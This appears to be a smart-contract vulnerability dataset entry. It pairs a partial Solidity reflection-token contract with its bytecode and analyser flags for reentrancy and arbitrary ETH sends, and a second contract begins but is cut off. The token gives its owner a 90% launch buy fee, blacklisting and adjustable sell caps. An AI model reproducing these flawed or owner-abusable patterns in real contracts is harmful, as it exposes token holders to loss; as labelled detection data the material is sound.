if(buyLimitEnd > block.timestamp) {
_ronaFee = 90;
}
}
}
// sell
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
require(amount <= _maxSellAmount);
_taxFee = 0;
_ronaFee = _SellFee;
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(contractTokenBalance > 0) {
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_FeeAddress2.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _ronaFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 RonaFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(RonaFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 1000000000 * 10**9; // TX LIMIT
_maxSellAmount = 100000 * 10**9; // 1% TX LIMIT
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (720 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function isBlackListed(address account) public view returns (bool) {
return _isBlackListedBot[account];
}
function addBotToBlackList(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.');
require(!_isBlackListedBot[account], "Account is already blacklisted");
_isBlackListedBot[account] = true;
_blackListedBots.push(account);
}
function removeBotFromBlackList(address account) external onlyOwner() {
require(_isBlackListedBot[account], "Account is not blacklisted");
for (uint256 i = 0; i < _blackListedBots.length; i++) {
if (_blackListedBots[i] == account) {
_blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1];
_isBlackListedBot[account] = false;
_blackListedBots.pop();
break;
}
}
}
function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
_isExcludedFromFee[account] = excluded;
}
function setTX(uint256 maxBuy, uint256 maxSell) external onlyOwner() {
_maxBuyAmount = maxBuy;
_maxSellAmount = maxSell;
}
function setYugiHour(bool enabled) external onlyOwner() {
if (enabled)
{_SellFee = 16;
_BuyFee = 0;
}
else
{
_SellFee = 8;
_BuyFee = 8;
}
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101c65760003560e01c80638da5cb5b116100f7578063c9567bf911610095578063e47d606011610064578063e47d606014610546578063e8078d941461057f578063f2cc0c1814610594578063f84354f1146105b457600080fd5b8063c9567bf91461049d578063cba0e996146104b2578063db92dbb6146104eb578063dd62ed3e1461050057600080fd5b8063a985ceef116100d1578063a985ceef14610429578063ac94dd0614610448578063af9549e014610468578063c3c8cd801461048857600080fd5b80638da5cb5b146103ac57806395d89b41146103d4578063a9059cbb1461040957600080fd5b80634303443d116101645780636fc3eaec1161013e5780636fc3eaec1461034257806370a0823114610357578063715018a6146103775780637ded4d6a1461038c57600080fd5b80634303443d146102e25780635932ead11461030257806368a3a6a51461032257600080fd5b806323b872dd116101a057806323b872dd1461026f57806327f3a72a1461028f578063313ce567146102a45780634126f695146102c057600080fd5b806306fdde03146101d2578063095ea7b31461021a57806318160ddd1461024a57600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b5060408051808201909152600d81526c11195b1d184815985c9a585b9d609a1b60208201525b6040516102119190612768565b60405180910390f35b34801561022657600080fd5b5061023a6102353660046126b7565b6105d4565b6040519015158152602001610211565b34801561025657600080fd5b50670de0b6b3a76400005b604051908152602001610211565b34801561027b57600080fd5b5061023a61028a36600461264a565b6105eb565b34801561029b57600080fd5b50610261610654565b3480156102b057600080fd5b5060405160098152602001610211565b3480156102cc57600080fd5b506102e06102db36600461271a565b610664565b005b3480156102ee57600080fd5b506102e06102fd3660046125da565b6106a2565b34801561030e57600080fd5b506102e061031d3660046126e2565b610814565b34801561032e57600080fd5b5061026161033d3660046125da565b610899565b34801561034e57600080fd5b506102e06108bc565b34801561036357600080fd5b506102616103723660046125da565b6108e9565b34801561038357600080fd5b506102e061090b565b34801561039857600080fd5b506102e06103a73660046125da565b61097f565b3480156103b857600080fd5b506000546040516001600160a01b039091168152602001610211565b3480156103e057600080fd5b5060408051808201909152600c81526b11115315105590549250539560a21b6020820152610204565b34801561041557600080fd5b5061023a6104243660046126b7565b610b65565b34801561043557600080fd5b50601954600160a81b900460ff1661023a565b34801561045457600080fd5b506102e06104633660046126e2565b610b72565b34801561047457600080fd5b506102e061048336600461268a565b610bbc565b34801561049457600080fd5b506102e0610c11565b3480156104a957600080fd5b506102e0610c47565b3480156104be57600080fd5b5061023a6104cd3660046125da565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156104f757600080fd5b50610261610c95565b34801561050c57600080fd5b5061026161051b366004612612565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561055257600080fd5b5061023a6105613660046125da565b6001600160a01b031660009081526008602052604090205460ff1690565b34801561058b57600080fd5b506102e0610cad565b3480156105a057600080fd5b506102e06105af3660046125da565b611065565b3480156105c057600080fd5b506102e06105cf3660046125da565b611230565b60006105e13384846113f5565b5060015b92915050565b60006105f8848484611519565b61064a843361064585604051806060016040528060288152602001612923602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906119d4565b6113f5565b5060019392505050565b600061065f306108e9565b905090565b6000546001600160a01b031633146106975760405162461bcd60e51b815260040161068e906127bb565b60405180910390fd5b601491909155601555565b6000546001600160a01b031633146106cc5760405162461bcd60e51b815260040161068e906127bb565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03821614156107455760405162461bcd60e51b8152602060048201526024808201527f57652063616e206e6f7420626c61636b6c69737420556e697377617020726f756044820152633a32b91760e11b606482015260840161068e565b6001600160a01b03811660009081526008602052604090205460ff16156107ae5760405162461bcd60e51b815260206004820152601e60248201527f4163636f756e7420697320616c726561647920626c61636b6c69737465640000604482015260640161068e565b6001600160a01b03166000818152600860205260408120805460ff191660019081179091556009805491820181559091527f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af0180546001600160a01b0319169091179055565b6000546001600160a01b0316331461083e5760405162461bcd60e51b815260040161068e906127bb565b6019805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f287069060200160405180910390a150565b6001600160a01b0381166000908152600a60205260408120546105e590426128b7565b6016546001600160a01b0316336001600160a01b0316146108dc57600080fd5b476108e681611a0e565b50565b6001600160a01b0381166000908152600260205260408120546105e590611a93565b6000546001600160a01b031633146109355760405162461bcd60e51b815260040161068e906127bb565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109a95760405162461bcd60e51b815260040161068e906127bb565b6001600160a01b03811660009081526008602052604090205460ff16610a115760405162461bcd60e51b815260206004820152601a60248201527f4163636f756e74206973206e6f7420626c61636b6c6973746564000000000000604482015260640161068e565b60005b600954811015610b6157816001600160a01b031660098281548110610a4957634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415610b4f5760098054610a74906001906128b7565b81548110610a9257634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600980546001600160a01b039092169183908110610acc57634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600890915260409020805460ff191690556009805480610b2957634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610b59816128ce565b915050610a14565b5050565b60006105e1338484611519565b6000546001600160a01b03163314610b9c5760405162461bcd60e51b815260040161068e906127bb565b8015610baf576010601355600060125550565b6008601381905560125550565b6000546001600160a01b03163314610be65760405162461bcd60e51b815260040161068e906127bb565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6016546001600160a01b0316336001600160a01b031614610c3157600080fd5b6000610c3c306108e9565b90506108e681611b17565b6000546001600160a01b03163314610c715760405162461bcd60e51b815260040161068e906127bb565b6019805460ff60a01b1916600160a01b179055610c90426102d0612860565b601a55565b60195460009061065f906001600160a01b03166108e9565b6000546001600160a01b03163314610cd75760405162461bcd60e51b815260040161068e906127bb565b601954600160a01b900460ff1615610d315760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161068e565b601880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610d6d3082670de0b6b3a76400006113f5565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610da657600080fd5b505afa158015610dba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dde91906125f6565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e2657600080fd5b505afa158015610e3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5e91906125f6565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610ea657600080fd5b505af1158015610eba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ede91906125f6565b601980546001600160a01b0319166001600160a01b039283161790556018541663f305d7194730610f0e816108e9565b600080610f236000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610f8657600080fd5b505af1158015610f9a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610fbf919061273b565b5050670de0b6b3a764000060145550655af3107a400060155542600f5560195460185460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b15801561102d57600080fd5b505af1158015611041573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6191906126fe565b6000546001600160a01b0316331461108f5760405162461bcd60e51b815260040161068e906127bb565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03821614156111075760405162461bcd60e51b815260206004820152602260248201527f57652063616e206e6f74206578636c75646520556e697377617020726f757465604482015261391760f11b606482015260840161068e565b6001600160a01b03811660009081526006602052604090205460ff16156111705760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015260640161068e565b6001600160a01b038116600090815260026020526040902054156111ca576001600160a01b0381166000908152600260205260409020546111b090611a93565b6001600160a01b0382166000908152600360205260409020555b6001600160a01b03166000818152600660205260408120805460ff191660019081179091556007805491820181559091527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6880180546001600160a01b0319169091179055565b6000546001600160a01b0316331461125a5760405162461bcd60e51b815260040161068e906127bb565b6001600160a01b03811660009081526006602052604090205460ff166112c25760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015260640161068e565b60005b600754811015610b6157816001600160a01b0316600782815481106112fa57634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b031614156113e35760078054611325906001906128b7565b8154811061134357634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600780546001600160a01b03909216918390811061137d57634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600382526040808220829055600690925220805460ff191690556007805480610b2957634e487b7160e01b600052603160045260246000fd5b806113ed816128ce565b9150506112c5565b6001600160a01b0383166114575760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161068e565b6001600160a01b0382166114b85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161068e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661157d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161068e565b6001600160a01b0382166115df5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161068e565b600081116116415760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161068e565b6001600160a01b03821660009081526008602052604090205460ff16156116a45760405162461bcd60e51b8152602060048201526017602482015276596f752068617665206e6f20706f77657220686572652160481b604482015260640161068e565b3360009081526008602052604090205460ff16156116fe5760405162461bcd60e51b8152602060048201526017602482015276596f752068617665206e6f20706f77657220686572652160481b604482015260640161068e565b6000546001600160a01b0384811691161480159061172a57506000546001600160a01b03838116911614155b1561197757601954600160a81b900460ff16156117aa57336000908152600a602052604090206002015460ff166117aa5760408051606081018252600080825260208083018281526001848601818152338552600a909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6019546001600160a01b0384811691161480156117d557506018546001600160a01b03838116911614155b80156117fa57506001600160a01b03821660009081526005602052604090205460ff16155b1561189457601954600160a01b900460ff166118585760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161068e565b60145481111561186757600080fd5b6000600d55601254600e55601954600160a81b900460ff16156118945742601a54111561189457605a600e555b6019546001600160a01b0383811691161480156118bf57506018546001600160a01b03848116911614155b80156118e457506001600160a01b03831660009081526005602052604090205460ff16155b15611904576015548111156118f857600080fd5b6000600d55601354600e555b600061190f306108e9565b601954909150600160b01b900460ff1615801561193a57506019546001600160a01b03858116911614155b801561194f5750601954600160a01b900460ff165b156119755780156119635761196381611b17565b4780156119735761197347611a0e565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806119b957506001600160a01b03831660009081526005602052604090205460ff165b156119c2575060005b6119ce84848484611cbc565b50505050565b600081848411156119f85760405162461bcd60e51b815260040161068e9190612768565b506000611a0584866128b7565b95945050505050565b6016546001600160a01b03166108fc611a28836002611e33565b6040518115909202916000818181858888f19350505050158015611a50573d6000803e3d6000fd5b506017546001600160a01b03166108fc611a6b836002611e33565b6040518115909202916000818181858888f19350505050158015610b61573d6000803e3d6000fd5b6000600b54821115611afa5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161068e565b6000611b04611e75565b9050611b108382611e33565b9392505050565b6019805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611b6d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601854604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611bc157600080fd5b505afa158015611bd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bf991906125f6565b81600181518110611c1a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601854611c4091309116846113f5565b60185460405163791ac94760e01b81526001600160a01b039091169063791ac94790611c799085906000908690309042906004016127f0565b600060405180830381600087803b158015611c9357600080fd5b505af1158015611ca7573d6000803e3d6000fd5b50506019805460ff60b01b1916905550505050565b80611cc957611cc9611e98565b6001600160a01b03841660009081526006602052604090205460ff168015611d0a57506001600160a01b03831660009081526006602052604090205460ff16155b15611d1f57611d1a848484611ec6565b611e1d565b6001600160a01b03841660009081526006602052604090205460ff16158015611d6057506001600160a01b03831660009081526006602052604090205460ff165b15611d7057611d1a848484611fec565b6001600160a01b03841660009081526006602052604090205460ff16158015611db257506001600160a01b03831660009081526006602052604090205460ff16155b15611dc257611d1a848484612095565b6001600160a01b03841660009081526006602052604090205460ff168015611e0257506001600160a01b03831660009081526006602052604090205460ff165b15611e1257611d1a8484846120d9565b611e1d848484612095565b806119ce576119ce601054600d55601154600e55565b6000611b1083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061214c565b6000806000611e8261217a565b9092509050611e918282611e33565b9250505090565b600d54158015611ea85750600e54155b15611eaf57565b600d8054601055600e805460115560009182905555565b600080600080600080611ed88761234a565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611f0a90886123a7565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611f3990876123a7565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611f6890866123e9565b6001600160a01b038916600090815260026020526040902055611f8a81612448565b611f948483612492565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611fd991815260200190565b60405180910390a3505050505050505050565b600080600080600080611ffe8761234a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061203090876123a7565b6001600160a01b03808b16600090815260026020908152604080832094909455918b1681526003909152205461206690846123e9565b6001600160a01b038916600090815260036020908152604080832093909355600290522054611f6890866123e9565b6000806000806000806120a78761234a565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611f3990876123a7565b6000806000806000806120eb8761234a565b6001600160a01b038f16600090815260036020526040902054959b5093995091975095509350915061211d90886123a7565b6001600160a01b038a1660009081526003602090815260408083209390935560029052205461203090876123a7565b6000818361216d5760405162461bcd60e51b815260040161068e9190612768565b506000611a058486612878565b600b546000908190670de0b6b3a7640000825b60075481101561230f578260026000600784815481106121bd57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180612236575081600360006007848154811061220f57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15612251575050600b5493670de0b6b3a76400009350915050565b6122a5600260006007848154811061227957634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b0316835282019290925260400190205484906123a7565b92506122fb60036000600784815481106122cf57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b0316835282019290925260400190205483906123a7565b915080612307816128ce565b91505061218d565b50600b5461232590670de0b6b3a7640000611e33565b821015612341575050600b5492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006123678a600d54600e546124b6565b9250925092506000612377611e75565b9050600080600061238a8e87878761250b565b919e509c509a509598509396509194505050505091939550919395565b6000611b1083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119d4565b6000806123f68385612860565b905083811015611b105760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161068e565b6000612452611e75565b90506000612460838361255b565b3060009081526002602052604090205490915061247d90826123e9565b30600090815260026020526040902055505050565b600b5461249f90836123a7565b600b55600c546124af90826123e9565b600c555050565b60008080806124d060646124ca898961255b565b90611e33565b905060006124e360646124ca8a8961255b565b905060006124fb826124f58b866123a7565b906123a7565b9992985090965090945050505050565b600080808061251a888661255b565b90506000612528888761255b565b90506000612536888861255b565b90506000612548826124f586866123a7565b939b939a50919850919650505050505050565b60008261256a575060006105e5565b60006125768385612898565b9050826125838583612878565b14611b105760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161068e565b6000602082840312156125eb578081fd5b8135611b10816128ff565b600060208284031215612607578081fd5b8151611b10816128ff565b60008060408385031215612624578081fd5b823561262f816128ff565b9150602083013561263f816128ff565b809150509250929050565b60008060006060848603121561265e578081fd5b8335612669816128ff565b92506020840135612679816128ff565b929592945050506040919091013590565b6000806040838503121561269c578182fd5b82356126a7816128ff565b9150602083013561263f81612914565b600080604083850312156126c9578182fd5b82356126d4816128ff565b946020939093013593505050565b6000602082840312156126f3578081fd5b8135611b1081612914565b60006020828403121561270f578081fd5b8151611b1081612914565b6000806040838503121561272c578182fd5b50508035926020909101359150565b60008060006060848603121561274f578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561279457858101830151858201604001528201612778565b818111156127a55783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561283f5784516001600160a01b03168352938301939183019160010161281a565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115612873576128736128e9565b500190565b60008261289357634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156128b2576128b26128e9565b500290565b6000828210156128c9576128c96128e9565b500390565b60006000198214156128e2576128e26128e9565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146108e657600080fd5b80151581146108e657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220955263da89a542ad90fa62a1a8420629325786aec1bd1216e2aec4fda68cd3fe64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,045 |
0xf8928417f49e520e201576cf34019059c427a75f
|
pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
